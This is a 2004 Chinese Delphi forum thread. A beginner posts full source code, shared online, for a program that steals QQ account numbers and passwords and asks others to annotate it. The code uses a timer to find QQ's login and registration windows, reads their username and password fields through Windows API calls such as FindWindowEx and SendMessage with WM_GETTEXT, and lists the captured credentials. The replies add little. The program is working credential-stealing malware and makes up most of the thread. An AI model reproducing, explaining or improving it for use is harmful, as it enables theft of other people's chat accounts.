盒子论坛 v2.1

我是新手`我想请教一下~~~下面是网友发布的关于记录QQ号码密码的一段程序~
我还是不太明白一些语句~各位大哥能帮我详细解释一下吗？~
```把解释就写在程序语句后面``
谢谢啦！~~~！！！
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls;

type
  TMainF = class(TForm)
    Label1: TLabel;
    ListBox1: TListBox;
    Bevel1: TBevel;
    Label2: TLabel;
    Button1: TButton;
    ScanQQWindow: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure ScanQQWindowTimer(Sender: TObject);
    procedure ListBox1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
   OICQID,OICQKEY,OICQID2,OICQKEY2:Array [0..255] OF Char;
   OICQH,OICQT:Hwnd;
  end;

var
  MainF: TMainF;

implementation

{$R *.dfm}
//============
Procedure GetQQ(QQHwnd:Hwnd); //得到注册向导中输入的用户名与密码
Var TempH:Hwnd;
Begin
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQID));
TempH:=GetNextWindow(TempH,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQKEY));
End;
//============
Procedure GetQQ2(QQHwnd:Hwnd);  //得到QQ登陆的用户名与密码
Var TempH:Hwnd;
Begin
TempH:=FindWindowEx(QQHwnd,0,'ComboBox',nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQID2));
TempH:=FindWindowEx(QQHwnd,0,'Edit',nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQKEY2));
End;
//============

procedure TMainF.Button1Click(Sender: TObject);
begin
Close;
end;

procedure TMainF.ScanQQWindowTimer(Sender: TObject);
Var
  QID,QKEY,QID2,QKEY2:String;
  QLongH:Hwnd;
Begin
  OICQH:=FindWindow('#32770',nil);
  QLongH:=FindWindowEx(OICQH,0,'Button','注册向导');
  IF QLongH<>0 Then
  Begin
  GetQQ2(OICQH);
  QLongH:=FindWindowEx(OICQH,0,'Button','注册向导');
  End;
  IF QLon_gH=0 Then Begin
  QID2:=OICQID2;
  QKEY2:=OICQKEY2;
  IF (Length(QID2)>4) And (Length(QKEY2)>3) And (QID2<>'<请在这儿输入QQ号码>') Then //分析是否合法
    Begin
      //是的话
    ListBox1.AddItem('帐号：'+QID2+' 密码：'+QKEY2,nil);

    End Else Begin
             //===不是的情况
             End;
  OICQID2:='';
  OICQKEY2:='';
  End;
  OICQH:=FindWindowEx(OICQH,0,'#32770',nil);
  OICQH:=FindWindowEx(OICQH,0,'Button','使用已有的QQ号码');
  IF OICQH<>0 Then
  Begin
  OICQT:=OICQH;
  GetQQ(OICQT);
  End Else Begin
  QID:=OICQID;
  QKEY:=OICQKEY;
  OICQID:='';
  OICQKEY:='';
  IF (Length(QID)>4) And (Length(QKEY)>3) Then //分析是否合法
    Begin
    //是的话
    ListBox1.AddItem('帐号：'+QID+' 密码：'+QKEY,nil);

    End Else Begin
             //===不是的情况
             End;
    End;
end;

----------------------------------------------
-

作者：

congcongcong (cong19)	★☆☆☆☆	-
	普通会员

2004/3/30 18:18:55

1楼：

程序的大体思想我明白~`
我只是不明白里边用到的函数的具体用法~```
各位能帮我解释一下否~？！~~~~~~~~~~~~~`````谢！~~

----------------------------------------------
-

作者：

bios (阿贡)	★☆☆☆☆	-
	盒子中级会员

2004/3/30 20:58:18

2楼：

api取控件内容而已啊！

----------------------------------------------

作者：

congcongcong (cong19)	★☆☆☆☆	-
	普通会员

2004/4/1 19:33:32

3楼：

我不太明白~~~~能不能帮我注释一下呢~？~~~~~
谢谢各位前辈！！~~~
----------------------------------------------
-

信息

登陆以后才能回复